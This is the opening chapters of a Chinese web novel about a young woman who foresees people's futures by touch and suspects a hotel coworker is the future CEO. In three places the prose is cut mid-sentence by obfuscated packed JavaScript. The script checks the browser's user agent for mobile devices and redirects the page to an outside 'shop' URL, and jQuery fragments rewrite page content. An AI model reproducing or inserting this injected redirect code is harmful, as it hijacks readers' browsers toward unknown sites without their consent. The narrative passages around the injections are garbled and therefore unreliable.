《我能看见他是未来总裁》 1. 第一章 H市的某CBD区，人流熙熙攘攘，此时正值上班高峰，陶新柔穿着一身职业装，匆匆忙忙地一路小跑，穿越人群。 今天是她来云麓酒店面试的日子，然而不凑巧的是，她打的网约车竟然在半路上抛锚了，虽然已经做了一个预知梦，但不信邪的陶新柔还是硬着头皮坐上了车，果不其然，她快迟到了。 看着电梯数字一点点往上升，陶新柔急切地恨不得爬楼。 幸好电梯门在该到的楼层顺利打开了，如同离弦的箭，陶新柔飞一般跑了出去。 “26号，陶新柔。” “我在我在！” 随着工作人员的声音，陶新柔举着手跑了过去，顺利拿到了自己的号码牌。 随之而来的，是工作人员未来的片段涌入脑海—— “Cindy，你怎么把这种人招进来了？这件事你让我怎么向上头交代！” “领导，这不是我……” “什么不是你？你看看你干的好事！” 愤怒的声音响彻耳畔，一个文件夹扔过来，吓得陶新柔也一个激灵回过神。 看着那人离开的背影，陶新柔心中定义，这位叫Cindy的工作人员不知道惹了谁，又犯下了什么错。 安心坐下后，陶新柔看着号码牌开始发呆，顺便在脑海里回忆着昨天看了一晚上的面试题，此刻，她希望走出来一位面试官，这样她说不定能提前看到面试官会问的问题，好做准备。 就在这时，一位女生走到她旁边，小声问：“请问……这里有人坐吗？” 陶新柔抬起头，看到站在她对面的，是一个长相安静文雅的女生，她浅笑着回答：“没有哦。” 女生坐下后，笔挺地坐在那儿，眼神坚定看着前方，一刻都不敢松懈。 “舒慧……”陶新柔不自觉地喊了出来。 被叫舒慧的女生转过头，一脸震惊地看着陶新柔：“欸？你怎么知道我的名字？” 陶新柔愣了一下，随后指了指她手里捏着号码牌。 郑舒慧这才露出笑容，原本直挺挺的背也松了下来：“啊，原来是这样，你好呀，我是郑舒慧。” 憨态可掬的笑容，不知怎的，让陶新柔想到了幼态的熊猫。 “你好，我是陶新柔。” 陶新柔也伸出手去，两双手交叠在一起，脑海中的画面传来—— “舒慧，帮我买一下咖啡。” “舒慧，这个帮我复印一下。” “舒慧，那个垃圾麻烦你倒一下，我手头还有事啦。” …… 那一张张嘴脸，多少充满了人性的挑战，然而被叫舒慧的女生，却毫无怨言地全盘接受了。 陶新柔气得轻轻攥紧了对方的手几分，脸上却仍维持着礼貌的浅笑。 气氛有些尴尬，面试官喊着名字，从里面出来人，从外面进去人。 陶新柔只觉得手心冒汗，而郑舒慧更是捏紧了裹臀裙的裙角，咽了下口水。 她拍了拍她的手臂：“别紧张，一定会过的。” “陶新柔。” “到！” 陶新柔起身走向面试室，就在她伸手要推面试室门的瞬间，门从内侧猛地拉开，一道挺拔的身影撞了出来，陶新柔身体不受控制地向后倒去。 时间仿佛在这一刻被拉慢，她清晰地看见对方白衬衫袖口滑落的弧度，闻到他身上清冽的木质香气。 下一秒，温热的手掌扣住了她的手腕，硬生生将她下坠的身体拉了回来。 瞬间，陶新柔的脑海像被按下了暂停键，无数不属于她的画面如电影般疯狂涌入—— “小应总，对方要价五千万。” “让他滚。” “小应总，今晚陈总那边让您参加个宴会，希望拉近两家公司的关系。” “真是多事，让他们自己去玩儿吧，或者你派个信得过的人去。” “小应总……” 小应总？！ 这两个字像惊雷般在陶新柔脑海里炸开，浑身的血液仿佛瞬间凝固。 她的视线死死黏在眼前男人的脸上，慢镜头般一寸寸描摹。 剑眉星目，鼻梁高挺，唇线清晰，明明是和脑海里那个冷厉总裁一模一样的轮廓，此刻却漾着一层温和的笑意：“不好意思啊小姐，是我走得太急了，你没事吧？” 陶新柔的目光不受控制地往下移，落在他脖颈间那根蓝色细绳上，只见绳子的末端，坠着一张“临时出入证”的胸牌，上面印着的两个字赫然显目：房荣。 她的大脑一片混乱，现实与脑海中的画面疯狂交织、碰撞。 房荣是小应总？ 男人见她呆站着不说话，以为她吓傻了，伸出手，五根修长的手指在她眼前轻轻晃了晃，声音放得更柔了：“小姐？你还好吗？是不是撞到哪里了？” 指尖晃动的弧度在她眼前逐渐清晰，陶新柔这才回神，呼吸骤然急促起来。 她感觉到心脏在胸腔里疯狂跳动，脑海里那个清冷禁欲、气场慑人的“应总”，和眼前这张带着青涩感的“清纯大学生”脸，在她眼前反复重叠、撕裂。 仿佛有一根线在陶新柔脑中瞬间紧绷，她来不及多想，猛地往后退了半步，抽回手腕，直接九十度鞠躬：“对不起！是我没看路，撞到您了，真的非常抱歉！” 此刻，她只感觉到心脏强烈的跳动，她觉得，自己完了。 这种感觉一直延续到陶新柔从面试室里出来。 陶新柔才舒了口气，电话响了。 “柔柔，面试完了吗？” “妈，我刚面试结束，怎么啦？” 还没等那头回复，电话里传来刺耳的声音—— “说了明天会交房租就是明天交，催什么催？你活不到明天吗？” “妈，是不是又是那个拖欠的房客？你等我回来教训她！”陶新柔把包往上背了几分。 这个租客半年前租下了陶家的一间客房，不仅脾气差，还总是在半夜里大喊大叫，骚扰邻居，害得陶家总要给邻里赔礼道歉。 陶母脾气温和，只想着有房租就好，谁知那人也是个蛮不讲理的人，租房时交了三个月的房租后，就再也没交过。 即便让警察上门，她也是态度极好地说自己还没找到工作，无法预付房费，但一定会交，出了这个门就没法生存，一副要死要活的样子。 陶母见状又只好息事宁人，让她留下。 这一留，就又是三个月。 陶新柔回到家的时候，陶母还坐在客厅，手里拿着记账本，不知所措。 “这都欠了三个月了，刚才我好声好气跟她说，她反倒摔门骂我刻薄，还说我们摆白事晦气，都怪我这身体不争气……”陶母愁眉苦脸。 客厅的一隅，被临时摆成供奉的地方，今天是陶父去世15周年的日子，黑白的照片摆在中央，烛火明明灭灭，似像陶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203418|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父也在唉声叹气。 “妈，这件事交给我来处理，今天我就让她把话说清楚，要么交房租，要么搬出去，没有第三种选择。” 话音刚落，走廊尽头的客房门“咔”得一声被拉开，一个染着黄毛的女人皱着眉头，一脸嫌弃地走出来，语气尖酸：“哟，这是救兵回来了？陶大妈，我跟你说过了，我最近在找工作，等我找到工作，房租一分不会少你的，现在赶我走，你是想让我睡大街啊？” 看来刚才两人在客厅里说的话，女人都听见了。 “找工作找了三个月？这话你上个月就说过，上上个月也说过，我们家不是慈善机构，没义务养着你。要么现在把欠的三个月房租补上，要么现在收拾东西走人，给你十分钟时间考虑。” 陶新柔打开手机，调出秒表开始计时。 女人显然没料到平时看着温顺的陶新柔会如此强硬，她楞了一下，随即又撒起泼来：“你这小丫头片子，姐姐我比你还大几岁，平时也没少给你带吃的喝的，你现在跟我橫？好啊，我看你们就是看我好欺负，为难人是吧？我告诉你，我就是不搬，也不交房租，有本事你报警啊！你看警察还管不管了？” 陶新柔早就料到她会来这一招，她拿出视频摆给女人看：“好啊，那我们现在就报警，不过在报警之前，我得先跟警察好好说说，你这三个月来，天天半夜带朋友回来喝酒，大喊大叫，这栋楼的邻居哪一个没找过我们投诉的，还有你把吃过的外卖盒、垃圾，全堆在走廊，物业上门劝阻，你倒说是我们没处理得当，你说我要是把这些跟警察说清楚，你觉得他们会当你是无家可归的可怜人，还是故意扰乱公共秩序的无赖？” 女人看着监控视频脸色瞬间变了，她眼神闪烁了几下，没了硬气：“你……你这是偷拍别人的隐私，别太过分。” “偷拍？走廊、楼道都是业主共有的公共空间，装监控维护居住秩序天经地义，法律都认可，你在公共区域干出扰乱邻居、破坏环境的事，还敢倒打一耙说我侵犯隐私？我告诉你，这些视频不仅能给警察看，还能交给物业、发给业主群，让全楼的人都看看你是怎么赖着不交房租、还祸害邻居的！现在要么十分钟内把欠的三个月房租凑齐，要么立刻收拾东西滚蛋，别在这跟我扯什么隐私不隐私的，你不配！” 说完，陶新柔继续看时间。 女人气得跺脚，又咬了咬牙道：“行，我搬！你们给我等着！” 说完，她转身冲进客房，“砰”地一声关上了门，紧接着就传来了收拾东西的乒乒乓乓声。 陶母这才松了口气，小声对陶新柔说：“这样会不会不太好啊？她一个女人也挺可怜的。” “妈，对这种人不能心软。”陶新柔握住母亲的手，“您放心，我有分寸。” 正说着，手机震动了一下，陶新柔点开就收到了一条短信—— 【尊敬的陶新柔女士，恭喜您通过我酒店客房服务员岗位面试，请于明日上午9点携带相关证件到集团总部15楼人力资源部报道。】 “妈，我通过面试了！”陶新柔兴奋道。 “太好了，你爸的在天之灵保佑，海振，你可以放心了。”陶母欣慰地双手合十。 陶新柔笑着，脸上的笑容又逐渐淡去，15年了，她终于完成了父亲的遗愿。 她看向父亲的遗照，照片上，那张笑容灿烂的脸始终定格在了15年前。 这次，她要替父亲找到真相。 2. 第二章 云麓集团这个名字从陶新柔记事起就有了深刻的印象，曾是云麓集团一员的陶父曾担任后勤部经理一职，小时候，她记得父亲总是说云麓集团给了他造梦的机会，而他也要回报云麓。 那时候，她是向往的。 然而在她十岁那年，父亲要被外派去外地分公司，她看见了父亲的死亡未来。 她闹过，哭过，最后换来的都只是父亲的一句“孩子还小，舍不得我很正常”。 她还记得那天，父亲离开前，蹲下身摸着她的头说：“小柔，以后要向爸爸一样去云麓工作哦。” 只是仅仅过了半年，他们就收到了父亲过世的噩耗。 按理说她还不应该懂命运难违这几个字，但她实在想不到其他词了。 她明明看到了父亲的未来，却没法改变。 云麓集团这几个字，像一颗种子一样逐渐在她心底发芽生根，成了一颗难以拔除的仙人掌。 15楼到了，电梯门打开，陶新柔与几位新入职的同事们一同走了出去，走廊里，不时有员工从他们身边经过，看着身边的一切，陶新柔深呼吸。 云麓酒店，我来了。 向人力资源部的同事递交了手里的个人资料后，她很快就看到了两个熟悉的身影。 郑舒慧也显然看到了她，拘谨地朝她笑了笑，快步走到她面前：“你好，我们又见面了，真没想到我们都通过了。”说着又攥紧了文件夹几分，露出更为尴尬的笑容，“不好意思，我忘记你叫什么名字了。” 陶新柔冲她笑了笑，刚要开口，就见一个穿着潮牌卫衣、头发梳得一丝不苟的男生凑了过来：“两位美女好啊，我叫魏嘉信，也是新入职的，以后咱们就是同事了，多多关照啊！” 两人相继回应，魏嘉信自来熟，热情地与她们攀谈起来。 陶新柔听着，思绪已经不由自主地朝窗边瞟去，那个让她起疑的男人也在，白衬衫、黑色休闲裤，胸前挂着临时出入牌，正是房荣。 此刻他靠在窗边低头刷着手机，阳光透过窗户照在他身上，没入阳光的侧脸线条看起来更为柔和，他的手指修长，不停按动着，似是在与谁聊天。 她看着房荣，心本能地快跳起来。 不愧是总裁气质！ 魏嘉信还在絮絮叨叨，陶新柔早就没把注意力停留在他那儿了。 不一会儿，人力资源部的同事走了出来，开始点名分配岗位。 “郑舒慧、房荣、陶新柔、魏嘉信，你们四位分配到云麓旗下的C市新店，负责客房部基础服务工作，等会儿跟着你们主管李美丽去熟悉环境。” 一个穿着酒店职业装的女人环视了一圈被喊道的人，趾高气扬地扯起嗓子：“跟我走吧。” 听到房荣的名字和自己绑在一起，陶新柔的心猛地停拍一下。 该来的还是要来。 新店还在最后的收尾阶段，空气中弥漫着淡淡的装修味，李美丽带着他们熟悉了客房布局、服务流程和员工休息室，交代了几句注意事项后，又回到了大厅。 “一会儿开始岗前培训，一礼拜后这儿要开业，别以为客房服务是个轻松活儿，到了这儿就得听安排，干好你们的活。”她双手环胸，根本不拿正眼瞧新人，“该说的都说了，还有什么不懂的现在提出来，没问题了就去各自的岗位上，我们这儿可不养闲人。” 说完，她扭头就走，高跟鞋踩在大理石砖上，发出“噔噔噔”的声响。 * 上班第一天没什么活，陶新柔便按时下了班，快步往家赶。 一想到那个黄毛女租客的态度，她就隐隐有些不安，生怕对方会留下什么烂摊子。 果不其然，刚打开家门，一股混杂着馊味和腐败味的恶臭就扑面而来，她下意识地捂住了鼻子。 此刻陶母正拿着扫把和簸箕一下一下地清扫着地面。 “妈，你怎么不把口罩带上。”陶新柔刚走进那间客房，眼前的场景就看得她直咳嗽。 被子胡乱堆在床尾，床单上沾着不明污渍，桌子上散落着吃剩的外卖盒，汤汁洒了一地，甚至还有几个空酒瓶滚到了门口。 陶母眉头紧皱，脸色都有些发白。 “妈，您别收拾了，我来，跟您说了别管了，等我回来处理就行。”陶新柔抢过母亲手里的扫帚，强忍着胃里的翻涌。 陶母叹了一口气：“那丫头也太过分了，走就走吧，还把屋子造得这么乱。” 陶新柔咬了咬牙，心里对那个女租客的厌恶又深了几分。 她太清楚这房租对家里的重要性了。 母亲身体一直不好，常年需要吃药调理，根本没法外出工作，母女俩的生计全靠这一间次卧的微薄租金撑着。 父亲走后，婆家嫌她们母女是累赘，百般刁难，若不是父亲生前留了点积蓄，又留下这套小两居，她们早就无家可归了。 之前陶新柔本想放弃读研，早点出来工作帮母亲分担压力，可母亲死活不同意，循循善诱道：“女孩子嫁不嫁人不重要，但一定要多读书，有了本事才不会像我这样被人欺负。” 拗不过母亲的坚持，陶新柔一边打零工，一边继续学业。 也正因如此，这房租更是成了不能断的救命钱。 安顿好母亲后，陶新柔才戴上口罩和手套，蹲下身一点点清理地上的狼藉。 招租启事昨天就贴在了公告栏里，不仅是为了逼走女租客，也是为了尽快找到新租客填补家用。 就在这时，手机响了，是房屋中介，对方说想租他们房子的是个男人，问能不能上门看看房子。 陶新柔二话不说就同意了，眼下，她根本没资格挑挑拣拣。 只是门打开，陶新柔的目光越过中介，落在他身后的人身上时，整个人都僵住了。 “陶新柔？真巧，原来你是房东。” 此刻房荣就站在中介身后，依旧是白天那身简单的白衬衫休闲裤，脸上的笑容依旧温和。 陶新柔张了张嘴，半天没说出话来，喉咙里像是卡了团棉花，脑海里瞬间炸开了锅，弹幕疯狂刷屏： 【！！！是总裁！面试时那个气场两米八的霸总！】 【天降大老板！他怎么来了？来租我家这小破屋？这是微服私访还是体验生活？】 【救命！为什么要放着家里的大别墅不住，来挤她这十几平的次卧？】 一系列的问题在陶新柔脑海里打转，与眼前这张温和的脸重叠在一起，让她越发分不清眼前人的真面目。 陶新柔心里顿时出现了两个小人。 是抱大腿跟总裁搞好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这就……答应了？霸总果然出手阔绰！遇事果断！我的小破屋蓬荜生辉！ 她仿佛已经看到自己挂着“总裁邻居”的工牌在公司横着走的未来，强压着快要飞上天的嘴角，搓着手笑道：“那我们现在签合同？四个月的房费一共是……” “四千八。”房荣主动报出金额，又从包里拿出了身份证和手机。 陶新柔吓得双手接过，嘴里还不住念道：“谢谢房先生！您太爽快了！” 房荣也是尴尬地笑了笑，不知是谁该谢谁。 中介见交易达成，笑着说了几句客套话就先离开了。 屋子里瞬间只剩下陶新柔和房荣，气氛变得尴尬起来。 “那个……房先生，您要喝茶吗？普洱、绿茶、红茶、铁观音，您想喝哪种？我马上去楼下买！”说着就要往外冲。 “不用麻烦了。”房荣急忙摆手阻止，“我平时喝白水就好，谢谢你收留我，以后我们就是邻居了，麻烦房东小姐多关照了。” “不麻烦不麻烦！是我要麻烦您多担待才对！”陶新柔弯着腰，态度恭敬得像个小跟班。 房荣看着她这副模样，又补充道：”对了，明天岗前培训，下班后我们可以一起走。” 3. 第三章 总裁要约自己下班后一起走，这件事搞得陶新柔一天都心神不宁。 她站在洗手间的镜子前，猛地拍自己的脸。 陶新柔，清醒点，他现在是房荣，是你的普通同事，不是小应总。 但越这么想，陶新柔心里越发毛。 总裁啊！那可是高高在上总裁！ 正想着，手机响了，群里忽然有人发了消息。 【各位同事，大家晚上有空吗？要不要一起喝一杯？庆祝我们在一起工作的第二天！】 发消息的是魏嘉信。 刚认识第二天，他一直跟李美丽和其他同事套近乎，这会儿主动组织聚餐，心思昭然若揭。 群里很快有了回应，魏嘉信自己先跟了条消息自告奋勇订场地，不一会儿陶新柔又收到条私信，是郑舒慧发来的：“新柔，你去吗？我有点不太想去，但又怕扫大家的兴。” 陶新柔看着手机屏幕，心里也犯了嘀咕。 她本想早点回家陪母亲，可刚入职就拒绝同事的聚餐邀请，未免太不合群，以后工作中难免尴尬。 正犹豫着，房荣在群里发了条消息：【可以，去哪儿聚餐？】 ！！！ 总裁都说要去，那她…… 陶新柔立刻回复：“去去去，必须去！” * 晚上七点，大家在附近的一家家常菜馆包间落座，大厅里人满为患，包间的落地窗前能看到霓虹街景。 气氛不算融洽，全靠魏嘉信热情招呼，还主动给每个人倒茶。 陶新柔和郑舒慧挨着坐在角落，房荣则坐在她们对面，偶尔魏嘉信跟他搭话，也只是简单回应几句。 就在大家刚点完菜，包间门突然被推开了。 “哟，你们倒会找地方，聚餐都不叫上我？” 众人抬头一看，竟是李美丽。 褪去酒店制服，李美丽的披肩大波浪光泽亮丽，她双手环胸环视了一圈包间，扬起惯有的倨傲神色：“不会要背着我偷偷说我坏话吧？” 魏嘉信立刻站起身，堆着笑脸迎了上去：“当然没有，主管，我们怎么会忽略您呢，这不刚找好地方，想发消息给您接您过来呢，快请坐，快请坐。” 说着，他赶紧把主位的椅子拉开，殷勤地扶着李美丽坐下。 李美丽也不推辞，大大方方地坐在了主位上：“还是你这小子会来事，正好我下班路过，看到你们聚在这儿，就进来看看。” 魏嘉信则顺势坐在了李美丽旁边，亲自给她倒了杯酒：“能让您来凑个热闹，是我们的荣幸，来，我们一起敬主管一杯。” 大家稀稀拉拉地举起酒杯，本就不热闹的氛围显得越发冰冷。 李美丽端起酒杯跟他碰了一下，两人你来我往又碰了好几杯，把其他人都晾在了一边。 陶新柔看得心里不舒服，悄悄跟郑舒慧对视了一眼，都从对方眼里看到了无奈。 房荣则依旧沉默地坐在对面，低头慢条斯理地吃着菜，仿佛眼前的一切都跟他无关。 酒过三巡，李美丽喝得脸上泛起红晕，话也多了起来，她把几个新人的底细都打探了一遍。 “你是房荣吧？我看你培训的时候挺利索的，是哪个学校毕业的？家里是做什么的？之前有没有过酒店相关的工作经历？” 一连串的问题抛出来，包间里的气氛瞬间安静下来，魏嘉信也停下了话头，好奇地看向房荣。 房荣露出憨厚的笑容，腼腆道：“主管您过奖了，我就是在国外读了个普通学历，学的也不是酒店相关专业，家里就是普通工薪阶层，之前在餐厅打过工，这次也是想来学点东西。” 李美丽挑了挑眉，显然对这个答案不满意，但也没再追问。 随后，又把目光投向了坐在角落里的郑舒慧：“小郑，怎么不喝酒啊？出来聚餐就得活跃点，跟我喝一杯，以后工作中我也多照顾照顾你。” 郑舒慧吓得赶紧站起身，连连摆手：“李主管，对不起，我不会喝酒……” “不会喝可以学嘛，少喝点没事的。”李美丽不依不饶。 “我……我……”郑舒慧害怕地快要哭出来。 “李主管，舒慧确实不能喝酒，我替她喝吧。”陶新柔站起身，挡在了郑舒慧面前，拿起桌上的酒杯一饮而尽。 看到她豪爽的一面，李美丽非但没有夸赞陶新柔，反而脸色沉了下来，眼神里露出一丝不满。 “呵，看不出来你还挺有义气的。” “您过奖了，我只是不想扫了大家的兴。”陶新柔放下酒杯。 “你的意思是我扫兴了？”李美丽提了提分贝。 气氛一时有些尴尬，魏嘉信赶紧出来打圆场：“主管，小陶肯定不是这个意思呀，她就是想主动敬敬您，来，我也再敬您一杯。” 李美丽借着台阶，跟魏嘉信碰了杯，但之后就没再怎么说话，脸色一直不太好。 * 聚餐结束后，众人做鸟兽散。 陶新柔站在原地，看着房荣跟同事们告别。 终于到这个时刻了，陶新柔更紧张了。 她准备了很多东西，折叠伞、纸巾、备用口罩、迷你充电宝、甚至还有两颗独立包装的糖。 见他转身走向她，她立刻毕恭毕敬地站直，脸上挂起练习了八百遍的笑容：“房先生，一起走？” 房荣温柔的笑着，点点头：“好，麻烦你带路。” 考验，从走出餐厅大门的第一秒就开始了。 陶新柔内心陷入激烈辩论—— 【并排走？是不是显得太熟络太放肆了？】 【走前面带路？把老板当跟班？不行！】 【走后面？更像小跟班了！】 最终，她选择了一个微妙的斜后方45度角位置，既能指路，又保持了尊重的距离。 步伐控制得如同用尺子量过，生怕走太快显得急躁，走太慢又像怠工。 这让房荣不得不总是回头看陶新柔：“陶小姐，你怎么走后面？” 灵魂拷问来得如此突然！ 陶新柔心里一慌，脸上挤出一个更标准的服务式微笑，舌头差点打结：“啊……这个……后面视野好，能更好地为您观察后方路况！” 房荣闻言，脚步微微一顿，回过头来看她的眼神里，带着点儿疑惑：“观察路况？我们走的好像是步行道，而且……看起来挺安全的。” 陶新柔：“……” 逻辑被当场击穿。 她急中生智，只能瞎编：“也不是，主要是我习惯这个角度了，对！这个角度走路比较省力！符合人体工学！” “这样啊……”房荣只好点点头，没再追问，却自然地放慢了脚步。 他的步伐一慢，陶新柔那个精心计算的“45度角”就被打破了，两人不知不觉变成了几乎并肩而行。 陶新柔瞬间僵直。 啊这……物理距离拉近了，心理压力更大了！ 为了打破这令人窒息的沉默，陶新柔决定主动出击，寻找话题：“房先生，您觉得今天的培训怎么样？王经理讲的那些前台系统操作，还挺复杂的。” 房荣平淡回答：“多练练就熟了，你也学得挺快的。” 平平无奇的一句认可，在陶新柔心里却炸开了烟花：他夸我了！他注意到我学得快了！ 于是陶新柔忙不迭地摆手：“没有没有，我就是瞎琢磨，您才厉害，我看您实操一次就记住了！” “可能是以前在餐厅打工过，接触过类似的点单系统，有点相通吧。”房荣自然地接话。 “对了，你不必对我这么客气，叫我房荣就好。” 陶新柔脑子里“嗡”地一声：“我可以叫你房荣……吗？” “当然可以，以后我也叫你陶新柔吧。” 陶新柔点了点头。 这个总裁邻居，也没有想象中那么可怕，甚至……还有点体贴？ * 没过几天，云麓酒店新店正式开业。 剪彩仪式办得轰轰烈烈，总部几位高层都亲自到场，陶新柔远远瞥见人群里最显眼的两个男人，其中一个是张宏斌，是从总部调下来的新任经理，他正陪着一个西装革履的中年男人说话，神态恭敬。 旁边的两个同事悄悄嘀咕：“那个陪在张经理身边的是谁啊？” “是总部的应副总，应怀山，张经理的靠山，听说把张经理放我们酒店就是当跳板用的，他以后还要回总店呢。” 陶新柔心里一动，应怀山？这个姓氏，怎么跟房荣一样？ 她下意识地找了找房荣的身影，却见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203420|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他正蹲在角落帮保洁阿姨整理工具箱。 酒店开业后，来了不少宾客，大家都是冲着云麓酒店的招牌来的，不乏有VIP上门体验，陶新柔所在的客房部又被分出一块专门负责处理VIP事项，她和郑舒慧都在其中。 陶新柔的预知画面就是这时候开始起效的。 临近下班一小时前，李美丽踩着高跟鞋走到郑舒慧工位前，将一个文件夹丢在她桌上：“郑舒慧，20楼VIP客房的物品盘点表，今天下班前交上来，核对清楚每一样东西，要是漏了一样东西，你就卷铺盖走人吧！” “可是，今天负责20楼盘点的是魏嘉信啊，排班表上写着他的名字呢。” “魏嘉信临时有别的任务，怎么，我让你办点事还推三阻四的？这是工作安排，服从就行，哪来那么多废话。” 郑舒慧被她怼得缩了缩脖子，不敢再反驳，只好小声应道：“好的，李主管。” 李美丽没再看她，转身离开。 等陶新柔回来的时候，办公室里只有郑舒慧一人，她看着郑舒慧拿起文件夹和笔，又擦了一把脸上的泪痕准备出去。 陶新柔刚给一位VIP送水果回来，看到此景心里有种不好的预感。 了解了情况后，陶新柔决定：“我跟你一起去，帮你搭把手。” 郑舒慧眼眶微微发红，点了点头。 两人一同乘电梯的时候，郑舒慧才像个委屈的小女孩，一股脑儿倒出了苦水：“新柔，我总觉得李主管好像不太喜欢我，每次都临时派活给我。” 陶新柔拍了拍她的肩膀，鼓励道：“先别想那么多，把活干好，别让她抓到把柄。” 有了陶新柔的陪伴，郑舒慧又恢复了工作的动力。 两人先去客房中心领取了20楼各房间的备用房卡，按照盘点表的顺序，一间间仔细核对。 从床品数量、洗漱用品配备，到房间里摆放的装饰画、工艺品，每一样都对照着清单逐一确认、记录。 前几间都没什么问题，直到走进2008号客房—— “水晶摆件，一、二、三、四、五……啊，怎么少了一个？盘点表上写着一套六个。” 陶新柔心里一沉，快步走过去。 装饰柜里的水晶摆件整齐地摆着，而空缺的位置还残留着一点淡淡的灰尘印记。 郑舒慧急得浑身发抖：“怎么会这样……” 陶新柔皱紧眉头，冷静思索起来。 根据客房中心提供的退房登记，2008号客房的客人今天中午刚退房，下午客房部已经做过清洁，清洁员打扫时肯定会留意到装饰柜的物品，当时没上报缺失，说明那时候摆件还是齐全的，而从清洁结束到现在，只有原本该来盘点的魏嘉信和他们俩出现在这儿过。 “舒慧，你别慌，这不是你的问题，肯定是有人故意设套害你。” “故意设套？”郑舒慧表情更复杂了，“为什么要给我故意设套？” “现在还不停出，但是你想想，为什么李美丽突然把魏嘉信的活换给你？为什么偏偏是20楼这个全是贵重物品的楼层？”郑舒慧眨了眨眼，陶新柔继续说道，“清洁员下午打扫时没发现缺失，魏嘉信原本该盘点却被调走，现在你一来就少了东西，这分明是有人提前把摆件藏起来了，就等你盘点时发现，让你背这个锅。” 郑舒慧越听越害怕，脸色更白了：“难道是李主管？她为什么要这么对我？” 陶新柔没直接回答，但心里已经有了答案。 开业后的日子，陶新柔通过与人接触看到了不少预知画面。 云麓酒店内部果然不像表面看着如此和谐，新店经理张宏斌接着应怀山的势头，处处打压不是他招进来的人，大有要掌控新店的架势，而李美丽作为张宏斌的得力干将，也开始在部门里明里暗里逼迫新人站队。 他们作为张宏斌招进来的人，自然要与他为伍，但郑舒慧性格软弱、没背景，又不懂讨好迎合，不愿主动站队，自然就成了被李美丽清理异己的首要目标。 “不管是谁，我们都不能就这么认了。”陶新柔拿起手机，开始对着装饰柜的空缺位置和盘点表录视频，“先别上报，我们再仔细找找，说不定能找到被藏起来的摆件，就算找不到，我们也要留下证据，证明这不是你的责任。” 4. 第四章 然而，两人几乎把房间搜了个遍，都始终没找到那枚丢失的水晶摆件。 郑舒慧的情绪越来越低落：“完了，都找不到，怎么办啊新柔？要是被李主管知道，她肯定不会放过我的。” 陶新柔抿紧嘴唇，大脑快速思考，光靠漫无目的的寻找根本没用。 对方既然是故意设套，肯定把摆件藏在了更隐蔽的地方，事到如今，只能试试预知能力了。 不等郑舒慧回应，陶新柔已经转身出了客房。 她来到布草间，找到下午负责打扫2008号客房的清洁员王姐，此刻王姐还坐在布草间的一角刷着手机休息。 看到陶新柔敲门进来，王姐急忙把手机收起来，急匆匆地拿起一旁的抹布：“我这老腰不好，现在就去打扫。” 陶新柔摆了摆手：“没事，王姐，您休息，我就是想问您个事儿，下午是您打扫的2008房间吧？” “是啊，怎么了，难道经理检查了？我被投诉了吗？”王姐神情焦急。 “没有没有，王姐，您别紧张，我就是问问，李主管让我们再检查一遍。” “哦，没事就好，我这个人就是上年纪了，很容易忘事儿，幸好有你们年轻人在，再帮着多检查检查。” 陶新柔一边“嗯”声，一边走近王姐，把房卡递过去：“都没问题，王姐，这层的房卡您数数，别弄丢了。” “好好，真是辛苦你们了。” 王姐接过陶新柔手中的房卡，两人指尖短暂相触，瞬间，未来的画面涌入陶新柔的脑海—— 经理办公室，王姐窘迫地站在一旁，李美丽拍着桌子大声询问：“王姐，你好好想想，那个水晶摆件到底还在不在？！” 王姐扭捏着衣角，一脸害怕：“我……我真的不记得了，我记得应该是擦过了，好像是……好像是六个？还是五个？” “行了，你也别说了，现实摆在台面上，就是少了一个，你清洁时发现缺失的摆件却没有上报，扣一个月工资。” “哎哟，李主管，可扣不得啊，那可是一个月的工资啊。” “那你说，你擦的时候到底还在不在了？” 王姐慌张地摆摆手：“不在了，肯定不在了，我现在上报还来得及吗？” 画面一转，陶新柔又回到现实，王姐已经把房卡收好了。 看着疲累的王姐，陶新柔忍不住又问了一句：“王姐，我还想问问，您打扫2008的时候，检查过全屋设施吗？都在吧？” 王姐转身看着陶新柔眨了眨眼道：“当然在啊，我这个人很仔细的，少了什么东西我一眼就能看出来。” 陶新柔立刻用手机录下这段对话，谢过王姐后，刚走出布草间，就遇到了上来的魏嘉信。 “诶？小陶，你怎么也在这儿？” 陶新柔眼睛一转，脸上露出自然的笑意，随口应道：“哦，我刚跟王姐对接完20楼的客房交接单，顺便聊一下后续清洁的注意事项，你怎么上来了？” 魏嘉信晃了晃手里拎着的奶茶，把其中一杯递向陶新柔：“害，我刚送文件回来，顺便去买了几杯奶茶，正好李主管让我上来看看。” 陶新柔趁机接过奶茶，触碰到魏嘉信的手指后，立刻看到了他的未来。 部门会议上，李美丽拿出证据指控郑舒慧，而魏嘉信就站在她身边，脸上满是为难：“我本来要去盘点的，但李主管安排我去送文件，让我跟小郑说一声，当时她不在，我又着急去送，就让李主管帮忙安排，谁知道会出这种事啊。” 